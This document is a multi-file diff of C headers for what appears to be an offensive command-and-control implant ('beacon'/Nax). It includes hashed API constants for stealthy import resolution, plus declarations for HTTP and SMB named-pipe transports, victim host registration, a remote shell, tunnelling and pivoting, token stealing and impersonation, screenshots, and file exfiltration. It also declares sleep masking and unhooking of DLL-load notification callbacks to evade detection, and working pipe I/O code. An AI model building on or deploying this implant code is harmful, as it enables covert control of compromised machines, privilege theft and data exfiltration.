#define H_WS2_32_DLL 0x5ECCCD63u
#define H_WSASTARTUP 0xB543F11Fu
#define H_WSACLEANUP 0x28729B02u
#define H_WSAGETLASTERROR 0x15818D3Cu
#define H_SOCKET_FN 0x6DBCB3ECu /* socket */
#define H_CLOSESOCKET 0x71F47D22u
#define H_CONNECT_FN 0x782B3CD9u /* connect */
#define H_BIND_FN 0x7387766Eu /* bind */
#define H_LISTEN_FN 0x84AF5CA6u /* listen */
#define H_ACCEPT_FN 0x209E17E9u /* accept */
#define H_SEND_FN 0xB051CE6Fu /* send */
#define H_RECV_FN 0x2A36852Du /* recv */
#define H_SELECT_FN 0xB4293AADu /* select */
#define H_IOCTLSOCKET 0xAF87B2FFu
#define H_HTONS 0x1A670BB5u
#define H_NTOHS 0x5D88A761u
#define H_INET_ADDR 0x52A5D3B3u
#define H_GETHOSTBYNAME 0x76E0C5A3u
#define H_SETSOCKOPT 0x1147B2C8u
#define H_SHUTDOWN_FN 0x98AE7DCBu /* shutdown */
#define H_WSACREATEEVENT 0x5E2A89DAu
#define H_WSACLOSEEVENT 0x2FED8392u
#define H_WSAEVENTSELECT 0xB709ABEEu
#define H_WSARESETEVENT 0x024F6B57u
#define H_WSAENUMNETWORKEVENTS 0x4B2730B6u
+195
View File
@@ -0,0 +1,195 @@
/* beacon/include/Nax.h
* Central forward declarations for all internal beacon functions.
* Include this instead of scattering FUNC prototypes across .c files. */
#pragma once
#include "Macros.h"
#include "Instance.h"
#include "Wire.h"
#include "Helpers.h"
#include "NaxConstants.h"
/* ========= [ Core/Ldr.c - PEB walk, hashing, encoding ] ========= */
FUNC PNAX_PEB_LDR_DATA NaxGetLdr( VOID );
FUNC HANDLE NaxGetProcessHeap( VOID );
FUNC UINT32 NaxHashStr( const PCHAR str );
FUNC UINT32 NaxHashWStr( const WCHAR* str );
FUNC HMODULE NaxGetModule( UINT32 h );
FUNC PVOID NaxGetProc( HMODULE base, UINT32 h );
FUNC VOID NaxHexEncode( const PBYTE src, UINT32 len, PCHAR dst );
FUNC UINT32 NaxUToStr( UINT32 val, PCHAR buf );
FUNC VOID NaxAsciiToWide( const PCHAR src, PWCHAR dst, UINT32 cap );
FUNC UINT32 NaxBase64Encode( const PBYTE src, UINT32 src_len, PCHAR dst, UINT32 dst_cap );
FUNC UINT32 NaxBase64UrlEncode( const PBYTE src, UINT32 src_len, PCHAR dst, UINT32 dst_cap );
FUNC UINT32 NaxBase64Decode( const PCHAR src, UINT32 src_len, PBYTE dst, UINT32 dst_cap );
FUNC UINT32 NaxHexDecode( const PCHAR src, UINT32 src_len, PBYTE dst, UINT32 dst_cap );
FUNC UINT32 NaxXorMask( PNAX_INSTANCE Nax, const PBYTE src, UINT32 src_len, PBYTE dst, UINT32 dst_cap );
FUNC UINT32 NaxXorUnmask( const PBYTE src, UINT32 src_len, PBYTE dst, UINT32 dst_cap );
/* ========= [ Core/Bootstrap.c ] ========= */
typedef struct _NAX_SYSINFO {
CHAR Hostname[64];
CHAR Username[256];
CHAR IpStr[64];
CHAR Domain[256];
CHAR Procname[256];
UINT32 Pid;
UINT32 Tid;
UINT32 HnLen;
UINT32 UnLen;
UINT32 IpLen;
UINT32 DmLen;
UINT32 PnLen;
UINT32 ImLen;
} NAX_SYSINFO, *PNAX_SYSINFO;
FUNC PNAX_INSTANCE NaxBootstrap( VOID );
FUNC UINT32 NaxEffectiveSleep( PNAX_INSTANCE Nax );
FUNC VOID NaxGetInternalIp( PNAX_INSTANCE Nax, PCHAR out, UINT32 cap );
FUNC VOID NaxGetDomain( PNAX_INSTANCE Nax, PCHAR out, UINT32 cap );
FUNC VOID NaxGatherSysInfo( PNAX_INSTANCE Nax, PNAX_SYSINFO info );
/* ========= [ Core/Config.c ] ========= */
FUNC VOID NaxInitConfig( PNAX_INSTANCE Nax );
FUNC INT NaxApplyProfile( PNAX_INSTANCE Nax, const PBYTE body, UINT32 body_len );
/* ========= [ Core/PackerProfile.c ] ========= */
FUNC INT NaxDecodeProfile( const PBYTE data, UINT32 data_len, PNAX_INSTANCE Nax );
/* ========= [ Core/Cfg.c - Control Flow Guard ] ========= */
FUNC VOID NaxCfgInit( PNAX_INSTANCE Nax );
FUNC BOOL NaxCfgAddTarget( PNAX_INSTANCE Nax, PVOID ImageBase, PVOID Function );
/* ========= [ Core/Crypto.c ] ========= */
FUNC INT NaxEncrypt( PNAX_INSTANCE Nax, const PBYTE plain, UINT32 plain_len, PBYTE out, UINT32* out_len );
FUNC INT NaxDecrypt( PNAX_INSTANCE Nax, const PBYTE in, UINT32 in_len, PBYTE plain, UINT32* plain_len );
/* ========= [ Core/Packer.c - wire framing ] ========= */
FUNC VOID NaxW16( PBYTE p, UINT16 v );
FUNC VOID NaxW32( PBYTE p, UINT32 v );
FUNC UINT16 NaxR16( const PBYTE p );
FUNC UINT32 NaxR32( const PBYTE p );
FUNC INT NaxFrameEncode( BYTE msg_type, const PBYTE payload, UINT32 payload_len, PBYTE out, UINT32* out_len );
FUNC INT NaxFrameDecode( const PBYTE frame, UINT32 frame_len, BYTE* msg_type, PBYTE* payload, UINT32* payload_len );
FUNC INT NaxBuildRegBody( const PCHAR hn, UINT32 hn_len, const PCHAR un, UINT32 un_len, BYTE os_type,
UINT32 os_ver, UINT32 pid, UINT32 tid,
const PCHAR proc, UINT32 proc_len, const PCHAR ip, UINT32 ip_len,
const PCHAR domain, UINT32 domain_len,
BYTE is_admin, UINT32 os_build, UINT32 os_arch, UINT16 acp, UINT32 oem_cp, UINT32 sleep_ms, UINT32 jitter,
const PCHAR img_path, UINT32 img_path_len,
PBYTE out, UINT32* out_len );
FUNC INT NaxBuildHeartbeat( PBYTE out, UINT32* out_len );
FUNC INT NaxDecodeTask( const PBYTE body, UINT32 body_len, NAX_TASK* t );
FUNC INT NaxBuildResult( UINT32 task_id, BYTE status, const PBYTE data, UINT32 data_len, PBYTE out, UINT32* out_len );
/* ========= [ Commands/Dispatch.c ] ========= */
FUNC INT NaxDispatch( PNAX_INSTANCE Nax, const NAX_TASK* task,
UINT32* result_task_id, BYTE* result_status,
PBYTE result_data, UINT32* result_data_len );
/* ========= [ Commands/Sleepmask.c - BeaconGate ] ========= */
FUNC INT NaxSleepmaskInit( PNAX_INSTANCE Nax );
FUNC INT NaxSleepmaskWire( PNAX_INSTANCE Nax, PBYTE coff, UINT32 coff_size );
FUNC VOID NaxGateUnwireAll( PNAX_INSTANCE Nax );
/* ========= [ Commands/Pivot.c ] ========= */
FUNC UINT32 NaxProcessPivots( PNAX_INSTANCE Nax, PBYTE out, UINT32 out_cap );
FUNC VOID NaxPostPivotHeaderRead( PNAX_INSTANCE Nax, NAX_PIVOT* p );
/* ========= [ Commands/Jobs.c ] ========= */
FUNC UINT32 NaxProcessJobs( PNAX_INSTANCE Nax, PBYTE out, UINT32 out_cap );
FUNC NAX_JOB* NaxJobCreate( PNAX_INSTANCE Nax, UINT32 taskId, PBYTE coffBuf, UINT32 coffSize, PBYTE argsBuf, UINT32 argsSize, DWORD timeoutMs );
FUNC INT NaxJobStart( PNAX_INSTANCE Nax, NAX_JOB* job );
FUNC INT NaxJobList( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len );
FUNC INT NaxJobKill( PNAX_INSTANCE Nax, UINT32 taskId );
/* ========= [ Commands/Shell.c - remote shell ] ========= */
FUNC VOID NaxShellDispatch( PNAX_INSTANCE Nax, UINT32 taskId, BYTE cmdId, const PBYTE args, UINT32 argsLen );
FUNC UINT32 NaxProcessShells( PNAX_INSTANCE Nax, PBYTE out, UINT32 out_cap );
/* ========= [ Commands/Tunnel.c ] ========= */
FUNC UINT32 NaxProcessTunnels( PNAX_INSTANCE Nax, PBYTE out, UINT32 outCap );
FUNC VOID NaxTunnelDispatch( PNAX_INSTANCE Nax, BYTE cmdId, PBYTE args, UINT32 argsLen );
/* ========= [ Bof/Loader.c ] ========= */
FUNC VOID NaxBofStompInit( PNAX_INSTANCE Nax );
FUNC VOID NaxBofFreeResident( PNAX_INSTANCE Nax );
/* ========= [ Transport/Http.c ] ========= */
FUNC BYTE NaxRotateIdx( PNAX_INSTANCE Nax, BYTE idx, BYTE count );
FUNC VOID NaxHttpMain( PNAX_INSTANCE Nax );
/* ========= [ Transport/HttpCodec.c ] ========= */
FUNC UINT32 NaxEncodeData( PNAX_INSTANCE Nax, const NAX_OUTPUT_CFG* cfg, const PBYTE src, UINT32 src_len, PBYTE dst, UINT32 dst_cap );
FUNC UINT32 NaxDecodeData( PNAX_INSTANCE Nax, const NAX_OUTPUT_CFG* cfg, const PBYTE src, UINT32 src_len, PBYTE dst, UINT32 dst_cap );
FUNC UINT32 NaxAppendAsciiW( const PCHAR ascii, PWCHAR out, UINT32 wi, UINT32 cap );
FUNC UINT32 NaxAppendCRLF( PWCHAR out, UINT32 wi, UINT32 cap );
FUNC VOID NaxBuildRequestHeaders( PNAX_INSTANCE Nax, const PCHAR sid, const PCHAR hdr_base, UINT32 hdr_stride, BYTE hdr_count, const NAX_OUTPUT_CFG* meta_cfg, const PCHAR meta_encoded, UINT32 meta_encoded_len, BOOL is_post, PWCHAR out, UINT32 out_cap );
FUNC BOOL NaxBuildUrl( PNAX_INSTANCE Nax, const PWCHAR url_w, PCHAR uri, PWCHAR out, UINT32 out_cap );
FUNC VOID NaxBuildPathWithParams( PWCHAR path_src, PWCHAR path_out, UINT32 path_cap, const NAX_OUTPUT_CFG* meta_cfg, const PCHAR meta_encoded, UINT32 meta_encoded_len, const PCHAR param_base, UINT32 param_stride, BYTE param_count );
/* ========= [ command handlers ] ========= */
FUNC INT NaxCmdWhoami( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len );
FUNC INT NaxCmdSleep( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC INT CmdCd( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC INT CmdPwd( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC INT CmdMkdir( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC INT CmdRmdir( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC INT CmdCat( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC INT CmdLs( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC INT CmdRm( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC INT NaxCmdBof( PNAX_INSTANCE Nax, UINT32 taskId, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC INT NaxCmdScreenshot( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len );
FUNC INT NaxCmdDownload( PNAX_INSTANCE Nax, UINT32 taskId, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC UINT32 NaxProcessDownloads( PNAX_INSTANCE Nax, PBYTE out, UINT32 out_cap );
FUNC INT NaxCmdUpload( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC INT NaxCmdSaveMemory( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC NAX_MEMSAVE* NaxMemSaveGet( PNAX_INSTANCE Nax, UINT32 memoryId );
FUNC VOID NaxMemSaveFree( PNAX_INSTANCE Nax, UINT32 memoryId );
FUNC INT NaxCmdBofStomp( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC INT NaxCmdSleepmaskSet( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC INT NaxCmdSleepObfConfig( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC INT CmdPsList( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC INT CmdPsKill( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC INT CmdPsRun( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC INT CmdLink( PNAX_INSTANCE Nax, UINT32 taskId, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC INT CmdUnlink( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC INT CmdPivotExec( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC INT CmdProfile( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC INT CmdTokenGetUid( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len );
FUNC INT CmdTokenSteal( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC INT CmdTokenUse( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC INT CmdTokenList( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len );
FUNC INT CmdTokenRm( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC INT CmdTokenRevert( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len );
FUNC INT CmdTokenMake( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
FUNC INT CmdTokenPrivs( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len );
/* ========= [ Commands/DllNotify.c ] ========= */
typedef struct _LDR_DLL_NOTIFICATION_ENTRY {
LIST_ENTRY List;
PLDR_DLL_NOTIFICATION_FUNCTION Callback;
PVOID Context;
} LDR_DLL_NOTIFICATION_ENTRY, *PLDR_DLL_NOTIFICATION_ENTRY;
FUNC PLIST_ENTRY NaxGetDllNotificationListHead( PNAX_INSTANCE Nax );
FUNC INT NaxCmdDllNotifyList( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len );
FUNC INT NaxCmdDllNotifyRemove( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len );
FUNC VOID NaxDllNotifyUnhookAll( PNAX_INSTANCE Nax );
+83
View File
@@ -0,0 +1,83 @@
/* beacon/include/NaxConstants.h
* Shared named constants for magic values used across the beacon.
* Replaces inline hex/decimal literals with descriptive macros. */
#pragma once
/* ========= [ memory alignment ] ========= */
#define NAX_PAGE_SIZE 0x1000u
#define NAX_PAGE_MASK 0x0FFFu
#define ALIGN_UP( size, align ) ( ( (size) + ((align) - 1) ) & ~( (SIZE_T)(align) - 1 ) )
/* ========= [ transport buffer sizes ] ========= */
#define NAX_IO_CAP ( 8 * 1024 * 1024 ) /* 8 MB - Http.c + Smb.c result/IO cap */
#define NAX_REG_BODY_BUF 1200 /* registration body stack buffer */
#define NAX_PIPE_CHUNK_SIZE 0x2000u /* 8 KB - pipe write chunk (Smb + Pivot) */
#define NAX_PIPE_BUF_SIZE 0x10000u /* 64 KB - CreateNamedPipeA buffer size */
/* ========= [ Winsock SDK constants (PIC: not from headers) ] ========= */
#define NAX_AF_INET 2
#define NAX_SOCK_STREAM 1
#define NAX_IPPROTO_TCP 6
#define NAX_SOL_SOCKET 0xFFFF
#define NAX_SO_RCVTIMEO 0x1006
#define NAX_SO_SNDTIMEO 0x1005
#define NAX_SO_REUSEADDR 0x0004
#define NAX_FIONBIO 0x8004667Eu
#define NAX_INADDR_NONE 0xFFFFFFFFu
#define NAX_INADDR_LOOPBACK_NBO 0x0100007Fu /* 127.0.0.1 in network byte order */
#define NAX_WSAEWOULDBLOCK 10035
#define NAX_SD_SEND 1 /* shutdown(sock, SD_SEND) */
#define NAX_SD_BOTH 2 /* shutdown(sock, SD_BOTH) */
/* FD_* event masks for WSAEventSelect */
#define NAX_FD_READ 0x01
#define NAX_FD_WRITE 0x02
#define NAX_FD_ACCEPT 0x08
#define NAX_FD_CONNECT 0x10
#define NAX_FD_CLOSE 0x20
/* ========= [ tunnel operational constants ] ========= */
#define NAX_TUNNEL_RECV_MAX_ITER 16
#define NAX_TUNNEL_RECV_BUDGET_MS 2500
#define NAX_TUNNEL_RECV_HDR_RESERVE 16 /* entry header + payload header */
#define NAX_TUNNEL_RECV_CHUNK_MAX 131072u /* 128 KB max single recv */
#define NAX_TUNNEL_DRAIN_TIMEOUT_MS 5000
#define NAX_TUNNEL_CLOSE_GRACE_MS 1000
/* ========= [ Win32 SDK constants (PIC: not from headers) ] ========= */
#define NAX_TOKEN_QUERY 0x0008u
#define NAX_TOKEN_ELEVATION_TYPE 20
#define NAX_MIB_IF_TYPE_LOOPBACK 24
/* PEB offset accessors for OS version (x64) */
#define NAX_PEB_OSMAJOR_OFFSET 0x118u
#define NAX_PEB_OSMINOR_OFFSET 0x11Cu
#define NAX_PEB_OSBUILD_OFFSET 0x120u
/* Process info class for CFG policy */
#define NAX_PROCESS_CFG_GUARD_POLICY 7
#define NAX_CFG_CALL_TARGET_VALID 1
/* ========= [ BOF constants ] ========= */
#define NAX_BOF_MAPFN_MAX 512
/* ========= [ stomp context tag ] ========= */
#define NAX_STOMP_CTX_MAGIC 0x4E415854u /* 'NAXT' - loader writes at (code start + code size) */
/* ========= [ miscellaneous ] ========= */
#define NAX_PS_OUTPUT_WAIT_MS 10000
#define NAX_ERROR_INVALID_PARAMETER 87
#define NAX_SYSINFO_EXTRA_BUF 0x1000
#define NAX_ARCH_UNKNOWN 10
+64
View File
@@ -0,0 +1,64 @@
/* beacon/include/Pipe.h
* Shared overlapped named-pipe I/O helpers used by both the SMB transport
* (child-side server) and the pivot manager (parent-side client).
*
* Both helpers are FUNC static so they land in .text$B and remain PIC-safe.
* NAX_PIPE_CHUNK_SIZE controls the write chunk size (defined in NaxConstants.h). */
#pragma once
#include "Nax.h"
/* ========= [ NaxPipeWrite - write length-prefixed message in chunks ] ========= */
FUNC static BOOL NaxPipeWrite( PNAX_INSTANCE Nax, HANDLE hPipe, HANDLE hEvent, const PBYTE data, UINT32 size ) {
OVERLAPPED ov;
MmZero( &ov, sizeof( ov ) );
ov.hEvent = hEvent;
DWORD written = 0;
Nax->Kernel32.ResetEvent( hEvent );
if ( ! Nax->Kernel32.WriteFile( hPipe, &size, 4, &written, &ov ) ) {
if ( Nax->Kernel32.GetLastError() == ERROR_IO_PENDING )
Nax->Kernel32.GetOverlappedResult( hPipe, &ov, &written, TRUE );
else
return FALSE;
}
UINT32 idx = 0;
while ( idx < size ) {
UINT32 chunk = ( size - idx > NAX_PIPE_CHUNK_SIZE ) ? NAX_PIPE_CHUNK_SIZE : ( size - idx );
MmZero( &ov, sizeof( ov ) );
ov.hEvent = hEvent;
written = 0;
Nax->Kernel32.ResetEvent( hEvent );
if ( ! Nax->Kernel32.WriteFile( hPipe, data + idx, chunk, &written, &ov ) ) {
if ( Nax->Kernel32.GetLastError() == ERROR_IO_PENDING )
Nax->Kernel32.GetOverlappedResult( hPipe, &ov, &written, TRUE );
else
return FALSE;
}
idx += written;
}
return TRUE;
}
/* ========= [ NaxPipeRead - read exact byte count in chunks ] ========= */
FUNC static BOOL NaxPipeRead( PNAX_INSTANCE Nax, HANDLE hPipe, HANDLE hEvent, PBYTE buf, UINT32 size ) {
UINT32 idx = 0;
while ( idx < size ) {
OVERLAPPED ov;
MmZero( &ov, sizeof( ov ) );
ov.hEvent = hEvent;
DWORD nRead = 0;
Nax->Kernel32.ResetEvent( hEvent );
if ( ! Nax->Kernel32.ReadFile( hPipe, buf + idx, size - idx, &nRead, &ov ) ) {
if ( Nax->Kernel32.GetLastError() == ERROR_IO_PENDING )
Nax->Kernel32.GetOverlappedResult( hPipe, &ov, &nRead, TRUE );
else
return FALSE;
}
idx += nRead;
}
return TRUE;
}
+7
View File
@@ -0,0 +1,7 @@
/* beacon/include/Pivot.h
* Pivot entry type constants for ProcessPivots output format. */
#pragma once
#define NAX_PIV_TYPE_DATA 0
#define NAX_PIV_TYPE_UNLINK 1
+12
View File
@@ -0,0 +1,12 @@
/* beacon/include/Screenshot.h
* GDI constants for desktop capture. */
#pragma once
/* SM_CXSCREEN = 0, SM_CYSCREEN = 1 (stable across all Windows versions) */
#define NX_SM_CXSCREEN 0
#define NX_SM_CYSCREEN 1
/* ROP code: SRCCOPY = 0x00CC0020 */
#define NX_SRCCOPY 0x00CC0020u
/* DIB_RGB_COLORS = 0 */
#define NX_DIB_RGB_COLORS 0
+69
View File
@@ -0,0 +1,69 @@
/* beacon/include/Transport.h
* Common transport interface. Http.c and Smb.c both implement NAX_TRANSPORT_FN.
* NaxSend is a compile-time alias - no runtime dispatch overhead.
*
* To add a new transport:
* 1. Implement NAX_TRANSPORT_FN in src/Transport/YourTransport.c
* 2. Add a NAX_TRANSPORT_* constant and case in the #if chain below
* 3. Build with -DNAX_TRANSPORT_PROFILE=NAX_TRANSPORT_YOUR */
#pragma once
#include "Instance.h"
/* ========= [ transport function type ] ========= */
/* All transports share this signature.
* url_w : null-terminated wide URL (HTTP) or pipe path (SMB)
* sid : 16-char hex session ID (used as HTTP header or pipe auth)
* Returns NAX_OK on success, NAX_ERR_NET on any failure. */
typedef INT (*NAX_TRANSPORT_FN)(
PNAX_INSTANCE Nax,
const PWCHAR url_w,
const PCHAR sid,
const PBYTE body, UINT32 body_len,
PBYTE resp_buf, UINT32* resp_len
);
/* ========= [ compile-time profile selection ] ========= */
#define NAX_TRANSPORT_HTTP 0
#define NAX_TRANSPORT_SMB 1 /* Phase 7 */
#ifndef NAX_TRANSPORT_PROFILE
# define NAX_TRANSPORT_PROFILE NAX_TRANSPORT_HTTP
#endif
/* ========= [ protocol declarations ] ========= */
FUNC INT NaxHttpPost( PNAX_INSTANCE Nax, const PWCHAR url_w, const PCHAR sid,
const PBYTE body, UINT32 body_len,
PBYTE resp_buf, UINT32* resp_len );
FUNC INT NaxSmbPost( PNAX_INSTANCE Nax, const PWCHAR pipe_path, const PCHAR sid,
const PBYTE body, UINT32 body_len,
PBYTE resp_buf, UINT32* resp_len );
FUNC INT NaxHttpGet( PNAX_INSTANCE Nax, const PWCHAR url_w, const PCHAR sid,
const PBYTE body, UINT32 body_len,
PBYTE resp_buf, UINT32* resp_len );
FUNC INT NaxHttpGetOrPost( PNAX_INSTANCE Nax, const PWCHAR url_w, const PCHAR sid,
const PBYTE body, UINT32 body_len,
PBYTE resp_buf, UINT32* resp_len );
/* ========= [ transport main loops ] ========= */
FUNC VOID NaxHttpMain( PNAX_INSTANCE Nax );
FUNC VOID NaxSmbMain( PNAX_INSTANCE Nax );
/* ========= [ NaxSend alias ] ========= */
#if NAX_TRANSPORT_PROFILE == NAX_TRANSPORT_HTTP
# define NaxSend NaxHttpPost
# define NaxSendHeartbeat NaxHttpGetOrPost
#elif NAX_TRANSPORT_PROFILE == NAX_TRANSPORT_SMB
# define NaxSend NaxSmbPost
# define NaxSendHeartbeat NaxSmbPost
#else
# error "Unknown NAX_TRANSPORT_PROFILE"
#endif
+9
View File
@@ -0,0 +1,9 @@
/* beacon/include/WinApis.h
* Forward declarations for Win32/CRT functions that lack proper prototypes
* in the MinGW headers included by Instance.h. Enables D_API() usage
* for all DLL function pointer struct fields. */
#pragma once
/* msvcrt.dll */
int __cdecl printf( const char*, ... );
+114
View File
@@ -0,0 +1,114 @@
/* beacon/include/Wire.h
* Wire-v0 protocol constants and NaxTask parse struct.
* Must stay in lockstep with extender/agent_nonameax/pl_wire.go. */
#pragma once
#include <windows.h>
/* ========= [ message types ] ========= */
#define NAX_WIRE_REGISTER 0x01u
#define NAX_WIRE_HEARTBEAT 0x02u
#define NAX_WIRE_RESULT 0x03u
#define NAX_WIRE_NO_TASKS 0x80u
#define NAX_WIRE_TASK 0x81u
#define NAX_WIRE_PROFILE 0x82u
/* ========= [ command IDs ] ========= */
#define NAX_CMD_WHOAMI 0x10u
#define NAX_CMD_SLEEP 0x11u
#define NAX_CMD_EXIT_THREAD 0x12u
#define NAX_CMD_EXIT_PROCESS 0x13u
#define NAX_CMD_CD 0x14u
#define NAX_CMD_PWD 0x15u
#define NAX_CMD_MKDIR 0x16u
#define NAX_CMD_RMDIR 0x17u
#define NAX_CMD_CAT 0x18u
#define NAX_CMD_LS 0x19u
#define NAX_CMD_BOF 0x20u
#define NAX_CMD_SCREENSHOT 0x21u
#define NAX_CMD_DOWNLOAD 0x22u
#define NAX_CMD_PS_LIST 0x23u
#define NAX_CMD_PS_KILL 0x24u
#define NAX_CMD_PS_RUN 0x25u
#define NAX_CMD_UPLOAD 0x26u
#define NAX_CMD_RM 0x27u
#define NAX_CMD_SAVEMEMORY 0x2Au
#define NAX_CMD_CHUNKSIZE 0x2Bu
/* ========= [ download sub-commands ] ========= */
#define NAX_DL_START 0x01u
#define NAX_DL_CONTINUE 0x02u
#define NAX_DL_FINISH 0x03u
#define NAX_DL_CHUNK_DEFAULT 0x200000u /* 2 MB default */
#define NAX_DL_CHUNK_MAX 0x400000u /* 4 MB hard cap */
#define NAX_CMD_PROFILE 0x30u
#define NAX_CMD_PIVOT_EXEC 0x37u
#define NAX_CMD_LINK 0x38u
#define NAX_CMD_UNLINK 0x39u
#define NAX_CMD_JOB_LIST 0x28u
#define NAX_CMD_JOB_KILL 0x29u
#define NAX_CMD_BOF_STOMP 0x31u
#define NAX_CMD_SLEEPMASK_SET 0x32u
#define NAX_CMD_SLEEPOBF_CONFIG 0x33u
#define NAX_CMD_TOKEN_GETUID 0x50u
#define NAX_CMD_TOKEN_STEAL 0x51u
#define NAX_CMD_TOKEN_USE 0x52u
#define NAX_CMD_TOKEN_LIST 0x53u
#define NAX_CMD_TOKEN_RM 0x54u
#define NAX_CMD_TOKEN_REVERT 0x55u
#define NAX_CMD_TOKEN_MAKE 0x56u
#define NAX_CMD_TOKEN_PRIVS 0x57u
#define NAX_CMD_DLL_NOTIFY_LIST 0x3Au
#define NAX_CMD_DLL_NOTIFY_REMOVE 0x3Bu
/* ========= [ tunnel command IDs ] ========= */
#define NAX_CMD_TUNNEL_CONNECT_TCP 0x3Eu
#define NAX_CMD_TUNNEL_CONNECT_UDP 0x3Fu
#define NAX_CMD_TUNNEL_WRITE_TCP 0x40u
#define NAX_CMD_TUNNEL_WRITE_UDP 0x41u
#define NAX_CMD_TUNNEL_CLOSE 0x42u
#define NAX_CMD_TUNNEL_REVERSE 0x43u
#define NAX_CMD_TUNNEL_ACCEPT 0x44u
#define NAX_CMD_TUNNEL_PAUSE 0x45u
#define NAX_CMD_TUNNEL_RESUME 0x46u
/* ========= [ shell command IDs ] ========= */
#define NAX_CMD_SHELL_START 0x47u
#define NAX_CMD_SHELL_WRITE 0x48u
#define NAX_CMD_SHELL_CLOSE 0x49u
/* ========= [ job result types ] ========= */
#define NAX_JOB_OUTPUT 0x01u
#define NAX_JOB_COMPLETE 0x02u
#define NAX_JOB_KILLED 0x03u
/* ========= [ arch identifiers ] ========= */
#define NAX_ARCH_X64 0x01u
#define NAX_ARCH_X86 0x02u
/* ========= [ result status codes ] ========= */
#define NAX_STATUS_OK 0x00u
#define NAX_STATUS_ERR 0x01u
#define NAX_STATUS_ASYNC 0x10u
#define NAX_STATUS_TUNNEL 0x20u
/* ========= [ frame header size ] ========= */
/* Frame: type(1) | flags(1) | bodylen(4LE) = 6 bytes */
#define NAX_FRAME_HDR 6
/* ========= [ error codes ] ========= */
#define NAX_OK 0
#define NAX_ERR_INVAL -1
#define NAX_ERR_NOMEM -2
#define NAX_ERR_CRYPTO -3
#define NAX_ERR_NET -4
#define NAX_ERR_WIRE -5
#define NAX_ERR_FAIL -6
/* ========= [ parsed task ] ========= */
typedef struct {
UINT32 TaskId;
BYTE CmdId;
UINT32 ArgsLen;
PBYTE Args; /* pointer into caller's buffer - not owned */
} NAX_TASK;
+10
View File
@@ -0,0 +1,10 @@
#pragma once
#include "beacon.h"
#define CALLBACK_AX_SCREENSHOT 0x81
#define CALLBACK_AX_DOWNLOAD_MEM 0x82
void AxAddScreenshot(char* note, char* data, int len);
void AxDownloadMemory(char* filename, char* data, int len);
+369
View File
@@ -0,0 +1,369 @@
#pragma once
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Additional BOF resources are available here:
* - https://github.com/Cobalt-Strike/bof_template
*
* Cobalt Strike 4.x
* ChangeLog:
* 1/25/2022: updated for 4.5
* 7/18/2023: Added BeaconInformation API for 4.9
* 7/31/2023: Added Key/Value store APIs for 4.9
* BeaconAddValue, BeaconGetValue, and BeaconRemoveValue
* 8/31/2023: Added Data store APIs for 4.9
* BeaconDataStoreGetItem, BeaconDataStoreProtectItem,
* BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries
* 9/01/2023: Added BeaconGetCustomUserData API for 4.9
* 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL
* Updated the BEACON_INFO data structure to add new parameters
* 4/19/2024: Added BeaconGetSyscallInformation API for 4.10
* 4/25/2024: Added APIs to call Beacon's system call implementation
*/
#include <windows.h>
#ifdef __cplusplus
extern "C" {
#endif // __cplusplus
/* data API */
typedef struct {
char* original; /* the original buffer [so we can free it] */
char* buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
void BeaconDataParse(datap* parser, char* buffer, int size);
char* BeaconDataPtr(datap* parser, int size);
int BeaconDataInt(datap* parser);
short BeaconDataShort(datap* parser);
int BeaconDataLength(datap* parser);
char* BeaconDataExtract(datap* parser, int* size);
